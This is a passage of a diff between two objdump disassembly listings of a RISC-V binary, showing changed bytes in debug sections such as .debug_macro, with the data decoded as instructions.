- 46a:	0000                	unimp
- 46c:	00b0                	addi	a2,sp,72
- 46e:	0000                	unimp
- 470:	00b2                	slli	ra,ra,0xc
- 472:	0000                	unimp
- 474:	0340                	addi	s0,sp,388
-	...
- 47e:	0000                	unimp
- 480:	0018                	0x18
- 482:	0000                	unimp
- 484:	003c                	addi	a5,sp,8
- 486:	0000                	unimp
- 488:	00b2                	slli	ra,ra,0xc
- 48a:	0000                	unimp
- 48c:	00c0                	addi	s0,sp,68
-	...
- 496:	0000                	unimp
- 498:	00c8                	addi	a0,sp,68
- 49a:	0000                	unimp
- 49c:	00ec                	addi	a1,sp,76
- 49e:	0000                	unimp
- 4a0:	0150                	addi	a2,sp,132
- 4a2:	0000                	unimp
- 4a4:	015e                	slli	sp,sp,0x17
-	...
- 4ae:	0000                	unimp
- 4b0:	0166                	slli	sp,sp,0x19
- 4b2:	0000                	unimp
- 4b4:	016e                	slli	sp,sp,0x1b
- 4b6:	0000                	unimp
- 4b8:	0178                	addi	a4,sp,140
- 4ba:	0000                	unimp
- 4bc:	017e                	slli	sp,sp,0x1f
- 4be:	0000                	unimp
- 4c0:	0182                	c.slli64	gp
- 4c2:	0000                	unimp
- 4c4:	01d2                	slli	gp,gp,0x14
-	...
- 4ce:	0000                	unimp
- 4d0:	01d6                	slli	gp,gp,0x15
- 4d2:	0000                	unimp
- 4d4:	0202                	c.slli64	tp
- 4d6:	0000                	unimp
- 4d8:	0220                	addi	s0,sp,264
- 4da:	0000                	unimp
- 4dc:	022e                	slli	tp,tp,0xb
-	...
- 4e6:	0000                	unimp
- 4e8:	023e                	slli	tp,tp,0xf
- 4ea:	0000                	unimp
- 4ec:	0242                	slli	tp,tp,0x10
- 4ee:	0000                	unimp
- 4f0:	0246                	slli	tp,tp,0x11
- 4f2:	0000                	unimp
- 4f4:	024a                	slli	tp,tp,0x12
- 4f6:	0000                	unimp
- 4f8:	0254                	addi	a3,sp,260
- 4fa:	0000                	unimp
- 4fc:	025a                	slli	tp,tp,0x16
- 4fe:	0000                	unimp
- 500:	025e                	slli	tp,tp,0x17
- 502:	0000                	unimp
- 504:	02c0                	addi	s0,sp,324
- 506:	0000                	unimp
- 508:	02c2                	slli	t0,t0,0x10
- 50a:	0000                	unimp
- 50c:	02c4                	addi	s1,sp,324
- 50e:	0000                	unimp
- 510:	02cc                	addi	a1,sp,324
- 512:	0000                	unimp
- 514:	02ce                	slli	t0,t0,0x13
-	...
- 51e:	0000                	unimp
- 520:	02c0                	addi	s0,sp,324
- 522:	0000                	unimp
- 524:	02c2                	slli	t0,t0,0x10
- 526:	0000                	unimp
- 528:	02c4                	addi	s1,sp,324
- 52a:	0000                	unimp
- 52c:	02cc                	addi	a1,sp,324
- 52e:	0000                	unimp
- 530:	02ce                	slli	t0,t0,0x13
- 532:	0000                	unimp
- 534:	0308                	addi	a0,sp,384
-	...
 
 Disassembly of section .debug_macro:
 
@@ -40835,5016 +29604,5587 @@ Disassembly of section .debug_macro:
        2:	f802                	fsw	ft0,48(sp)
        4:	0000                	unimp
        6:	0700                	addi	s0,sp,896
-       8:	030c                	addi	a1,sp,384
+       8:	02fe                	slli	t0,t0,0x1f
        a:	0000                	unimp
        c:	03010003          	lb	zero,48(sp)
-      10:	01030a03          	lb	s4,16(t1)
-      14:	ee02050b          	0xee02050b
-      18:	0039                	c.nop	14
+      10:	01030b03          	lb	s6,16(t1) # 19010 <__stack_size+0x18810>
+      14:	050c                	addi	a1,sp,640
+      16:	f402                	fsw	ft0,40(sp)
+      18:	003a                	c.slli	zero,0xe
       1a:	0300                	addi	s0,sp,384
-      1c:	06050403          	lb	s0,96(a0) # ffff7060 <_heap_end+0x7ffe8860>
-      20:	73bc                	flw	fa5,96(a5)
-      22:	0000                	unimp
-      24:	050c0703          	lb	a4,80(s8)
-      28:	2408                	fld	fa0,8(s0)
-      2a:	0016                	c.slli	zero,0x5
+      1c:	06050903          	lb	s2,96(a0) # 19060 <__stack_size+0x18860>
+      20:	00007457          	0x7457
+      24:	050d0703          	lb	a4,80(s10) # 1a050 <__stack_size+0x19850>
+      28:	7308                	flw	fa0,32(a4)
+      2a:	0015                	c.nop	5
       2c:	0300                	addi	s0,sp,384
-      2e:	0d0a                	slli	s10,s10,0x2
+      2e:	0e0a                	slli	t3,t3,0x2
       30:	0805                	addi	a6,a6,1
-      32:	6bc6                	flw	fs7,80(sp)
+      32:	6c64                	flw	fs1,92(s0)
       34:	0000                	unimp
-      36:	070e0e03          	lb	t3,112(t3)
-      3a:	0a12                	slli	s4,s4,0x4
+      36:	070f0e03          	lb	t3,112(t5)
+      3a:	0a04                	addi	s1,sp,272
       3c:	0000                	unimp
       3e:	0704                	addi	s1,sp,896
-      40:	0a34                	addi	a3,sp,280
+      40:	0a26                	slli	s4,s4,0x9
       42:	0000                	unimp
       44:	0304                	addi	s1,sp,384
-      46:	02050f0b          	0x2050f0b
-      4a:	55d6                	lw	a1,116(sp)
+      46:	0205100b          	0x205100b
+      4a:	5704                	lw	s1,40(a4)
       4c:	0000                	unimp
-      4e:	07100403          	lb	s0,113(zero) # 71 <__stack_size-0x78f>
-      52:	0a80                	addi	s0,sp,336
+      4e:	07110403          	lb	s0,113(sp)
+      52:	0a72                	slli	s4,s4,0x1c
       54:	0000                	unimp
       56:	0304                	addi	s1,sp,384
-      58:	1105                	addi	sp,sp,-31
-      5a:	000a9907          	0xa9907
+      58:	1205                	addi	tp,tp,-31
+      5a:	000a8b07          	0xa8b07
       5e:	0400                	addi	s0,sp,512
-      60:	000b2d07          	flw	fs10,0(s6)
+      60:	000b1f07          	0xb1f07
       64:	0400                	addi	s0,sp,512
-      66:	000b6107          	0xb6107
+      66:	000b5307          	0xb5307
       6a:	0400                	addi	s0,sp,512
-      6c:	05120803          	lb	a6,81(tp) # 51 <__stack_size-0x7af>
-      70:	006a502b          	0x6a502b
+      6c:	05130803          	lb	a6,81(t1)
+      70:	006af22b          	0x6af22b
       74:	0300                	addi	s0,sp,384
       76:	022d                	addi	tp,tp,11
-      78:	000b9507          	0xb9507
+      78:	000b8707          	0xb8707
       7c:	0400                	addi	s0,sp,512
-      7e:	07132f03          	lw	t5,113(t1)
-      82:	0bec                	addi	a1,sp,476
+      7e:	07142f03          	lw	t5,113(s0) # ffff8071 <_heap_end+0x7ffe9871>
+      82:	0bde                	slli	s7,s7,0x17
       84:	0000                	unimp
       86:	0704                	addi	s1,sp,896
-      88:	0d60                	addi	s0,sp,668
+      88:	0d52                	slli	s10,s10,0x14
       8a:	0000                	unimp
       8c:	0704                	addi	s1,sp,896
-      8e:	00001093          	slli	ra,zero,0x0
-      92:	1401d203          	lhu	tp,320(gp) # 8000e1b0 <__global_pointer$+0x140>
-      96:	05151603          	lh	a2,81(a0)
-      9a:	7106                	flw	ft2,96(sp)
+      8e:	1085                	addi	ra,ra,-31
+      90:	0000                	unimp
+      92:	1501d203          	lhu	tp,336(gp) # ffff9150 <_heap_end+0x7ffea950>
+      96:	05161603          	lh	a2,81(a2) # ffff9051 <_heap_end+0x7ffea851>
+      9a:	d306                	sw	ra,164(sp)
       9c:	009e                	slli	ra,ra,0x7
       9e:	0400                	addi	s0,sp,512
-      a0:	0012b707          	fld	fa4,1(t0) # 1194667 <__stack_size+0x1193e67>
+      a0:	0012a907          	flw	fs2,1(t0) # 119461b <__stack_size+0x1193e1b>
       a4:	0300                	addi	s0,sp,384
-      a6:	162d                	addi	a2,a2,-21
-      a8:	0012c707          	flq	fa4,1(t0)
+      a6:	172d                	addi	a4,a4,-21
+      a8:	0012b907          	fld	fs2,1(t0)
       ac:	0300                	addi	s0,sp,384
-      ae:	1318                	addi	a4,sp,416
-      b0:	0012dd07          	0x12dd07
+      ae:	1418                	addi	a4,sp,544
+      b0:	0012cf07          	flq	ft10,1(t0)
       b4:	0400                	addi	s0,sp,512
-      b6:	00132007          	flw	ft0,1(t1)
+      b6:	00131207          	0x131207
       ba:	0400                	addi	s0,sp,512
       bc:	07032e03          	lw	t3,112(t1)
-      c0:	1354                	addi	a3,sp,420
+      c0:	1346                	slli	t1,t1,0x31
       c2:	0000                	unimp
       c4:	0304                	addi	s1,sp,384
-      c6:	1731                	addi	a4,a4,-20
+      c6:	1831                	addi	a6,a6,-20
       c8:	0205                	addi	tp,tp,1
-      ca:	6b61                	lui	s6,0x18
-      cc:	0000                	unimp
-      ce:	07180603          	lb	a2,113(a6)
-      d2:	13be                	slli	t2,t2,0x2f
+      ca:	00006c03          	0x6c03
+      ce:	07190603          	lb	a2,113(s2) # 17071 <__stack_size+0x16871>
+      d2:	13b0                	addi	a2,sp,488
       d4:	0000                	unimp
       d6:	0704                	addi	s1,sp,896
-      d8:	13da                	slli	t2,t2,0x36
+      d8:	13cc                	addi	a1,sp,484
       da:	0000                	unimp
       dc:	0304                	addi	s1,sp,384
-      de:	1932                	slli	s2,s2,0x2c
+      de:	1a32                	slli	s4,s4,0x2c
       e0:	0205                	addi	tp,tp,1
-      e2:	78ea                	flw	fa7,184(sp)
+      e2:	7974                	flw	fa3,116(a0)
       e4:	0000                	unimp
-      e6:	051a0e03          	lb	t3,81(s4)
-      ea:	0094ab27          	fsw	fs1,22(s1)
+      e6:	051b0e03          	lb	t3,81(s6) # 1a051 <__stack_size+0x19851>
+      ea:	00955a27          	0x955a27
       ee:	0400                	addi	s0,sp,512
-      f0:	071b0f03          	lb	t5,113(s6) # 18071 <__stack_size+0x17871>
-      f4:	142c                	addi	a1,sp,552
+      f0:	071c0f03          	lb	t5,113(s8) # 18071 <__stack_size+0x17871>
+      f4:	141e                	slli	s0,s0,0x27
       f6:	0000                	unimp
       f8:	0304                	addi	s1,sp,384
-      fa:	1c10                	addi	a2,sp,560
+      fa:	1d10                	addi	a2,sp,688
       fc:	2305                	jal	61c <__stack_size-0x1e4>
-      fe:	3870                	fld	fa2,240(s0)
-     100:	0000                	unimp
-     102:	051d2603          	lw	a2,81(s10) # fffe9051 <_heap_end+0x7ffda851>
-     106:	0125                	addi	sp,sp,9
-     108:	0400003b          	0x400003b
-     10c:	00144e07          	flq	ft8,1(s0)
+      fe:	00003963          	0x3963
+     102:	051e2603          	lw	a2,81(t3) # 16051 <__stack_size+0x15851>
+     106:	0e25                	addi	t3,t3,9
+     108:	003c                	addi	a5,sp,8
+     10a:	0400                	addi	s0,sp,512
+     10c:	00144007          	flq	ft0,1(s0)
      110:	0400                	addi	s0,sp,512
-     112:	00145e07          	0x145e07
+     112:	00145007          	0x145007
      116:	0400                	addi	s0,sp,512
-     118:	00149e07          	0x149e07
+     118:	00149007          	0x149007
      11c:	0300                	addi	s0,sp,384
-     11e:	01df 051e 9813      	0x9813051e01df
-     124:	0080                	addi	s0,sp,64
+     11e:	01df 051f 1b13      	0x1b13051f01df
+     124:	0081                	addi	ra,ra,0
      126:	0300                	addi	s0,sp,384
-     128:	73071f17          	auipc	t5,0x73071
+     128:	65072017          	auipc	zero,0x65072
      12c:	0015                	c.nop	5
      12e:	0400                	addi	s0,sp,512
-     130:	00158f07          	0x158f07
+     130:	00158107          	0x158107
      134:	0400                	addi	s0,sp,512
-     136:	2001e003          	0x2001e003
+     136:	2101e003          	0x2101e003
      13a:	0604                	addi	s1,sp,768
      13c:	01e4                	addi	s1,sp,204
-     13e:	2ad9                	jal	314 <__stack_size-0x4ec>
+     13e:	2ba4                	fld	fs1,80(a5)
      140:	0000                	unimp
      142:	0304                	addi	s1,sp,384
-     144:	052101d3          	0x52101d3
-     148:	df02                	sw	zero,188(sp)
+     144:	052201d3          	0x52201d3
+     148:	2e02                	fld	ft8,0(sp)
      14a:	0015                	c.nop	5
      14c:	0300                	addi	s0,sp,384
-     14e:	2209                	jal	250 <__stack_size-0x5b0>
+     14e:	2309                	jal	650 <__stack_size-0x1b0>
      150:	0805                	addi	a6,a6,1
-     152:	6c20                	flw	fs0,88(s0)
+     152:	6cbe                	flw	fs9,204(sp)
      154:	0000                	unimp
-     156:	040c0a03          	lb	s4,64(s8)
-     15a:	05230c03          	lb	s8,82(t1)
-     15e:	0082e10b          	0x82e10b
+     156:	040d0a03          	lb	s4,64(s10)
+     15a:	05240c03          	lb	s8,82(s0)
+     15e:	0083670b          	0x83670b
      162:	0300                	addi	s0,sp,384
-     164:	130e                	slli	t1,t1,0x23
+     164:	140e                	slli	s0,s0,0x23
      166:	0704                	addi	s1,sp,896
-     168:	15cc                	addi	a1,sp,740
+     168:	15be                	slli	a1,a1,0x2f
      16a:	0000                	unimp
-     16c:	07242203          	lw	tp,114(s0)
-     170:	15dc                	addi	a5,sp,740
+     16c:	07252203          	lw	tp,114(a0)
+     170:	15ce                	slli	a1,a1,0x33
      172:	0000                	unimp
      174:	0704                	addi	s1,sp,896
-     176:	162e                	slli	a2,a2,0x2b
+     176:	1620                	addi	s0,sp,808
      178:	0000                	unimp
      17a:	0704                	addi	s1,sp,896
-     17c:	17b0                	addi	a2,sp,1000
+     17c:	17a2                	slli	a5,a5,0x28
      17e:	0000                	unimp
-     180:	07131003          	lh	zero,113(t1)
-     184:	17c0                	addi	s0,sp,996
+     180:	07141003          	lh	zero,113(s0)
+     184:	17b2                	slli	a5,a5,0x2c
      186:	0000                	unimp
      188:	0304                	addi	s1,sp,384
-     18a:	f5072513          	slti	a0,a4,-176
+     18a:	e7072613          	slti	a2,a4,-400
      18e:	04000017          	auipc	zero,0x4000
-     192:	00180507          	0x180507
+     192:	0017f707          	0x17f707
      196:	0300                	addi	s0,sp,384
-     198:	2620                	fld	fs0,72(a2)
+     198:	2720                	fld	fs0,72(a4)
      19a:	0405                	addi	s0,s0,1
-     19c:	000038ef          	jal	a7,319c <__stack_size+0x299c>
+     19c:	39e2                	fld	fs3,56(sp)
+     19e:	0000                	unimp
      1a0:	0704                	addi	s1,sp,896
-     1a2:	1815                	addi	a6,a6,-27
-     1a4:	0000                	unimp
+     1a2:	00001807          	0x1807
      1a6:	0704                	addi	s1,sp,896
-     1a8:	184a                	slli	a6,a6,0x32
+     1a8:	183c                	addi	a5,sp,56
      1aa:	0000                	unimp
      1ac:	0404                	addi	s1,sp,512
      1ae:	0404                	addi	s1,sp,512
-     1b0:	05270403          	lb	s0,82(a4)
-     1b4:	b702                	fsd	ft0,424(sp)
-     1b6:	002d                	c.nop	11
+     1b0:	05280403          	lb	s0,82(a6) # ffff9052 <_heap_end+0x7ffea852>
+     1b4:	b102                	fsd	ft0,160(sp)
+     1b6:	0026                	c.slli	zero,0x9
      1b8:	0300                	addi	s0,sp,384
-     1ba:	0604                	addi	s1,sp,768
-     1bc:	00197607          	0x197607
+     1ba:	0a04                	addi	s1,sp,272
+     1bc:	00196807          	0x196807
      1c0:	0300                	addi	s0,sp,384
-     1c2:	130e                	slli	t1,t1,0x23
-     1c4:	0017c007          	flq	ft0,1(a5) # 10001 <__stack_size+0xf801>
+     1c2:	140e                	slli	s0,s0,0x23
+     1c4:	0017b207          	fld	ft4,1(a5)
      1c8:	0400                	addi	s0,sp,512
-     1ca:	00198c07          	0x198c07
+     1ca:	00197e07          	0x197e07
      1ce:	0400                	addi	s0,sp,512
      1d0:	0304                	addi	s1,sp,384
-     1d2:	0705                	addi	a4,a4,1
-     1d4:	001ea607          	flw	fa2,1(t4) # ffffc001 <_heap_end+0x7ffed801>
+     1d2:	0505                	addi	a0,a0,1
+     1d4:	001e9807          	0x1e9807
      1d8:	0300                	addi	s0,sp,384
-     1da:	1311                	addi	t1,t1,-28
-     1dc:	0017c007          	flq	ft0,1(a5)
+     1da:	1411                	addi	s0,s0,-28
+     1dc:	0017b207          	fld	ft4,1(a5)
      1e0:	0400                	addi	s0,sp,512
-     1e2:	05281803          	lh	a6,82(a6)
-     1e6:	031e                	slli	t1,t1,0x7
+     1e2:	05291803          	lh	a6,82(s2)
+     1e6:	aa1e                	fsd	ft7,272(sp)
      1e8:	0092                	slli	ra,ra,0x4
      1ea:	0400                	addi	s0,sp,512
-     1ec:	2901af03          	lw	t5,656(gp) # 8000e300 <__global_pointer$+0x290>
+     1ec:	2a01af03          	lw	t5,672(gp) # 8000e300 <_end+0x120>
      1f0:	0d05                	addi	s10,s10,1
-     1f2:	2856                	fld	fa6,336(sp)
+     1f2:	291a                	fld	fs2,384(sp)
      1f4:	0000                	unimp
      1f6:	0404                	addi	s1,sp,512
-     1f8:	07050603          	lb	a2,112(a0)
-     1fc:	1ebc                	addi	a5,sp,888
+     1f8:	07060603          	lb	a2,112(a2)
+     1fc:	1eae                	slli	t4,t4,0x2b
      1fe:	0000                	unimp
-     200:	07132403          	lw	s0,113(t1)
-     204:	17c0                	addi	s0,sp,996
+     200:	07142403          	lw	s0,113(s0)
+     204:	17b2                	slli	a5,a5,0x2c
      206:	0000                	unimp
      208:	0504                	addi	s1,sp,640
-     20a:	0097a127          	fsw	fs1,2(a5)
+     20a:	00985027          	0x985027
      20e:	0300                	addi	s0,sp,384
-     210:	2a28                	fld	fa0,80(a2)
-     212:	001ed807          	0x1ed807
+     210:	2b28                	fld	fa0,80(a4)
+     212:	001eca07          	flq	fs4,1(t4)
      216:	0400                	addi	s0,sp,512
-     218:	001ee807          	0x1ee807
+     218:	001eda07          	0x1eda07
      21c:	0300                	addi	s0,sp,384
-     21e:	f8072b4f          	fnmadd.s	fs6,fa4,ft0,ft11,rdn
+     21e:	ea072c4f          	fnmadd.d	fs8,fa4,ft0,ft9,rdn
      222:	001e                	c.slli	zero,0x7
      224:	0400                	addi	s0,sp,512
-     226:	001f0e07          	0x1f0e07
+     226:	001f0007          	0x1f0007
      22a:	0400                	addi	s0,sp,512
-     22c:	05080703          	lb	a4,80(a6)
-     230:	aa08                	fsd	fa0,16(a2)
+     22c:	05070703          	lb	a4,80(a4) # 18050 <__stack_size+0x17850>
+     230:	3208                	fld	fa0,32(a2)
      232:	0300000b          	0x300000b
-     236:	100a                	c.slli	zero,0x22
+     236:	110a                	slli	sp,sp,0x22
      238:	0704                	addi	s1,sp,896
-     23a:	2068                	fld	fa0,192(s0)
+     23a:	205a                	fld	ft0,400(sp)
      23c:	0000                	unimp
-     23e:	07131003          	lh	zero,113(t1)
-     242:	17c0                	addi	s0,sp,996
+     23e:	07141003          	lh	zero,113(s0)
+     242:	17b2                	slli	a5,a5,0x2c
      244:	0000                	unimp
      246:	0304                	addi	s1,sp,384
-     248:	2c14                	fld	fa3,24(s0)
+     248:	2d14                	fld	fa3,24(a0)
      24a:	0205                	addi	tp,tp,1
-     24c:	15be                	slli	a1,a1,0x2f
+     24c:	151e                	slli	a0,a0,0x27
      24e:	0000                	unimp
      250:	0304                	addi	s1,sp,384
-     252:	2d16                	fld	fs10,320(sp)
-     254:	00207e07          	0x207e07
+     252:	2e16                	fld	ft8,320(sp)
+     254:	00207007          	0x207007
      258:	0400                	addi	s0,sp,512
-     25a:	00209407          	0x209407
+     25a:	00208607          	0x208607
      25e:	0400                	addi	s0,sp,512
-     260:	052e0803          	lb	a6,82(t3)
-     264:	7c1e                	flw	fs8,228(sp)
-     266:	0065                	c.nop	25
+     260:	052f0803          	lb	a6,82(t5)
+     264:	0a1e                	slli	s4,s4,0x7
+     266:	0066                	c.slli	zero,0x19
      268:	0300                	addi	s0,sp,384
-     26a:	2f22                	fld	ft10,8(sp)
+     26a:	3022                	fld	ft0,40(sp)
      26c:	0605                	addi	a2,a2,1
-     26e:	07d0                	addi	a2,sp,964
+     26e:	0786                	slli	a5,a5,0x1
      270:	0000                	unimp
-     272:	032e0703          	lb	a4,50(t3)
-     276:	053001c3          	0x53001c3
-     27a:	a502                	fsd	ft0,136(sp)
-     27c:	0039                	c.nop	14
+     272:	032f0703          	lb	a4,50(t5)
+     276:	053101c3          	0x53101c3
+     27a:	9802                	jalr	a6
+     27c:	003a                	c.slli	zero,0xe
      27e:	0300                	addi	s0,sp,384
-     280:	3106                	fld	ft2,96(sp)
-     282:	0020bd07          	fld	fs10,2(ra)
+     280:	3206                	fld	ft4,96(sp)
+     282:	0020af07          	flw	ft10,2(ra) # 3001ab2 <__stack_size+0x30012b2>
      286:	0400                	addi	s0,sp,512
-     288:	00213907          	fld	fs2,2(sp)
+     288:	00212b07          	flw	fs6,2(sp)
      28c:	0400                	addi	s0,sp,512
      28e:	0604                	addi	s1,sp,768
-     290:	1108                	addi	a0,sp,160
-     292:	0016                	c.slli	zero,0x5
+     290:	6008                	flw	fa0,0(s0)
+     292:	0015                	c.nop	5
      294:	0400                	addi	s0,sp,512
-     296:	00215007          	0x215007
+     296:	00214207          	flq	ft4,2(sp)
      29a:	0400                	addi	s0,sp,512
-     29c:	07320a03          	lb	s4,115(tp) # 73 <__stack_size-0x78d>
-     2a0:	2268                	fld	fa0,192(a2)
+     29c:	07330a03          	lb	s4,115(t1)
+     2a0:	225a                	fld	ft4,400(sp)
      2a2:	0000                	unimp
      2a4:	0304                	addi	s1,sp,384
-     2a6:	0405330b          	0x405330b
-     2aa:	0c6d                	addi	s8,s8,27
-     2ac:	0000                	unimp
-     2ae:	03340703          	lb	a4,51(s0)
-     2b2:	d307350b          	0xd307350b
+     2a6:	0405340b          	0x405340b
+     2aa:	00000bfb          	0xbfb
+     2ae:	03350703          	lb	a4,51(a0)
+     2b2:	c507360b          	0xc507360b
      2b6:	0024                	addi	s1,sp,8
      2b8:	0400                	addi	s0,sp,512
      2ba:	0d05                	addi	s10,s10,1
-     2bc:	1ec6                	slli	t4,t4,0x31
+     2bc:	1efc                	addi	a5,sp,892
      2be:	0000                	unimp
      2c0:	0704                	addi	s1,sp,896
-     2c2:	2821                	jal	2da <__stack_size-0x526>
-     2c4:	0000                	unimp
-     2c6:	0504                	addi	s1,sp,640
-     2c8:	e20d                	bnez	a2,2ea <__stack_size-0x516>
-     2ca:	0025                	c.nop	9
-     2cc:	0500                	addi	s0,sp,640
-     2ce:	005a5743          	fmadd.s	fa4,fs4,ft5,ft0,unknown
-     2d2:	0500                	addi	s0,sp,640
-     2d4:	7e5d                	lui	t3,0xffff7
-     2d6:	0020                	addi	s0,sp,8
-     2d8:	0500                	addi	s0,sp,640
-     2da:	01a9                	addi	gp,gp,10
-     2dc:	9ab8                	0x9ab8
-     2de:	0000                	unimp
-     2e0:	ec05                	bnez	s0,318 <__stack_size-0x4e8>
-     2e2:	ad01                	j	8f2 <__stack_size+0xf2>
-     2e4:	0034                	addi	a3,sp,8
-     2e6:	0500                	addi	s0,sp,640
-     2e8:	01ed                	addi	gp,gp,27
-     2ea:	9d5d                	0x9d5d
-     2ec:	0000                	unimp
-     2ee:	ee05                	bnez	a2,326 <__stack_size-0x4da>
-     2f0:	0c01                	addi	s8,s8,0
-     2f2:	0079                	c.nop	30
-     2f4:	0500                	addi	s0,sp,640
-     2f6:	01f0                	addi	a2,sp,204
-     2f8:	00009243          	fmadd.s	ft4,ft1,ft0,ft0,rtz
-     2fc:	f105                	bnez	a0,21c <__stack_size-0x5e4>
-     2fe:	5d01                	li	s10,-32
-     300:	0054                	addi	a3,sp,4
-     302:	0500                	addi	s0,sp,640
-     304:	01f2                	slli	gp,gp,0x1c
-     306:	7808                	flw	fa0,48(s0)
-     308:	0000                	unimp
-     30a:	0004                	0x4
-     30c:	0004                	0x4
-     30e:	0500                	addi	s0,sp,640
-     310:	ac00                	fsd	fs0,24(s0)
-     312:	0005                	c.nop	1
-     314:	0500                	addi	s0,sp,640
-     316:	e700                	fsw	fs0,8(a4)
-     318:	0074                	addi	a3,sp,12
-     31a:	0500                	addi	s0,sp,640
-     31c:	9500                	0x9500
-     31e:	009e                	slli	ra,ra,0x7
-     320:	0500                	addi	s0,sp,640
-     322:	5300                	lw	s0,32(a4)
-     324:	0015                	c.nop	5
-     326:	0500                	addi	s0,sp,640
-     328:	2600                	fld	fs0,8(a2)
-     32a:	005f 0500 be00      	0xbe000500005f
-     330:	0048                	addi	a0,sp,4
-     332:	0500                	addi	s0,sp,640
-     334:	8400                	0x8400
-     336:	009e                	slli	ra,ra,0x7
-     338:	0500                	addi	s0,sp,640
-     33a:	9f00                	0x9f00
-     33c:	00a1                	addi	ra,ra,8
-     33e:	0500                	addi	s0,sp,640
-     340:	e600                	fsw	fs0,8(a2)
-     342:	006d                	c.nop	27
-     344:	0500                	addi	s0,sp,640
-     346:	d300                	sw	s0,32(a4)
-     348:	0044                	addi	s1,sp,4
-     34a:	0500                	addi	s0,sp,640
-     34c:	d200                	sw	s0,32(a2)
-     34e:	00a0                	addi	s0,sp,72
-     350:	0500                	addi	s0,sp,640
-     352:	6000                	flw	fs0,0(s0)
-     354:	0041                	c.nop	16
-     356:	0500                	addi	s0,sp,640
-     358:	4e00                	lw	s0,24(a2)
-     35a:	0092                	slli	ra,ra,0x4
-     35c:	0500                	addi	s0,sp,640
-     35e:	3200                	fld	fs0,32(a2)
-     360:	007e                	c.slli	zero,0x1f
-     362:	0500                	addi	s0,sp,640
-     364:	4800                	lw	s0,16(s0)
-     366:	0088                	addi	a0,sp,64
-     368:	0500                	addi	s0,sp,640
-     36a:	9400                	0x9400
-     36c:	007d                	c.nop	31
-     36e:	0500                	addi	s0,sp,640
-     370:	5c00                	lw	s0,56(s0)
-     372:	007c                	addi	a5,sp,12
-     374:	0500                	addi	s0,sp,640
-     376:	2f00                	fld	fs0,24(a4)
-     378:	0074                	addi	a3,sp,12
-     37a:	0500                	addi	s0,sp,640
-     37c:	f200                	fsw	fs0,32(a2)
-     37e:	0500005b          	0x500005b
-     382:	af00                	fsd	fs0,24(a4)
-     384:	05000007          	0x5000007
-     388:	0000                	unimp
-     38a:	0500002b          	0x500002b
-     38e:	8400                	0x8400
-     390:	0084                	addi	s1,sp,64
-     392:	0500                	addi	s0,sp,640
-     394:	d000                	sw	s0,32(s0)
-     396:	0099                	addi	ra,ra,6
-     398:	0500                	addi	s0,sp,640
-     39a:	2b00                	fld	fs0,16(a4)
-     39c:	0079                	c.nop	30
-     39e:	0500                	addi	s0,sp,640
-     3a0:	d300                	sw	s0,32(a4)
-     3a2:	05000097          	auipc	ra,0x5000
-     3a6:	7500                	flw	fs0,40(a0)
-     3a8:	0028                	addi	a0,sp,8
-     3aa:	0500                	addi	s0,sp,640
-     3ac:	8900                	0x8900
-     3ae:	0056                	c.slli	zero,0x15
-     3b0:	0500                	addi	s0,sp,640
-     3b2:	5700                	lw	s0,40(a4)
-     3b4:	0011                	c.nop	4
-     3b6:	0500                	addi	s0,sp,640
-     3b8:	5900                	lw	s0,48(a0)
-     3ba:	0026                	c.slli	zero,0x9
-     3bc:	0500                	addi	s0,sp,640
-     3be:	d800                	sw	s0,48(s0)
-     3c0:	0070                	addi	a2,sp,12
-     3c2:	0500                	addi	s0,sp,640
-     3c4:	4600                	lw	s0,8(a2)
-     3c6:	0041                	c.nop	16
-     3c8:	0500                	addi	s0,sp,640
-     3ca:	1a00                	addi	s0,sp,304
-     3cc:	0031                	c.nop	12
-     3ce:	0500                	addi	s0,sp,640
-     3d0:	f600                	fsw	fs0,40(a2)
-     3d2:	0000                	unimp
-     3d4:	0500                	addi	s0,sp,640
-     3d6:	bc00                	fsd	fs0,56(s0)
-     3d8:	0065                	c.nop	25
-     3da:	0500                	addi	s0,sp,640
-     3dc:	f400                	fsw	fs0,40(s0)
-     3de:	0099                	addi	ra,ra,6
-     3e0:	0500                	addi	s0,sp,640
-     3e2:	9e00                	0x9e00
-     3e4:	0060                	addi	s0,sp,12
-     3e6:	0500                	addi	s0,sp,640
-     3e8:	2000                	fld	fs0,0(s0)
-     3ea:	0005                	c.nop	1
-     3ec:	0500                	addi	s0,sp,640
-     3ee:	a700                	fsd	fs0,8(a4)
-     3f0:	002c                	addi	a1,sp,8
-     3f2:	0500                	addi	s0,sp,640
-     3f4:	a300                	fsd	fs0,0(a4)
-     3f6:	0056                	c.slli	zero,0x15
-     3f8:	0500                	addi	s0,sp,640
-     3fa:	0f00                	addi	s0,sp,912
-     3fc:	0015                	c.nop	5
-     3fe:	0500                	addi	s0,sp,640
-     400:	6a00                	flw	fs0,16(a2)
-     402:	0500009b          	0x500009b
-     406:	0400                	addi	s0,sp,512
-     408:	0065                	c.nop	25
-     40a:	0500                	addi	s0,sp,640
-     40c:	1100                	addi	s0,sp,160
-     40e:	0011                	c.nop	4
-     410:	0500                	addi	s0,sp,640
-     412:	dc00                	sw	s0,56(s0)
-     414:	007e                	c.slli	zero,0x1f
-     416:	0500                	addi	s0,sp,640
-     418:	4500                	lw	s0,8(a0)
-     41a:	05000037          	lui	zero,0x5000
-     41e:	4d00                	lw	s0,24(a0)
-     420:	0050                	addi	a2,sp,4
-     422:	0500                	addi	s0,sp,640
-     424:	d500                	sw	s0,40(a0)
-     426:	0500008f          	0x500008f
-     42a:	2a00                	fld	fs0,16(a2)
-     42c:	0014                	0x14
-     42e:	0500                	addi	s0,sp,640
-     430:	3200                	fld	fs0,32(a2)
-     432:	0016                	c.slli	zero,0x5
-     434:	0500                	addi	s0,sp,640
-     436:	5800                	lw	s0,48(s0)
-     438:	0024                	addi	s1,sp,8
-     43a:	0500                	addi	s0,sp,640
-     43c:	9100                	0x9100
-     43e:	0006                	c.slli	zero,0x1
-     440:	0500                	addi	s0,sp,640
-     442:	0700                	addi	s0,sp,896
-     444:	0500004b          	0x500004b
-     448:	8000                	0x8000
-     44a:	0088                	addi	a0,sp,64
-     44c:	0500                	addi	s0,sp,640
-     44e:	7400                	flw	fs0,40(s0)
-     450:	00a0                	addi	s0,sp,72
-     452:	0500                	addi	s0,sp,640
-     454:	3100                	fld	fs0,32(a0)
-     456:	0012                	c.slli	zero,0x4
-     458:	0500                	addi	s0,sp,640
-     45a:	7d00                	flw	fs0,56(a0)
-     45c:	009a                	slli	ra,ra,0x6
-     45e:	0500                	addi	s0,sp,640
-     460:	d900                	sw	s0,48(a0)
-     462:	009e                	slli	ra,ra,0x7
-     464:	0500                	addi	s0,sp,640
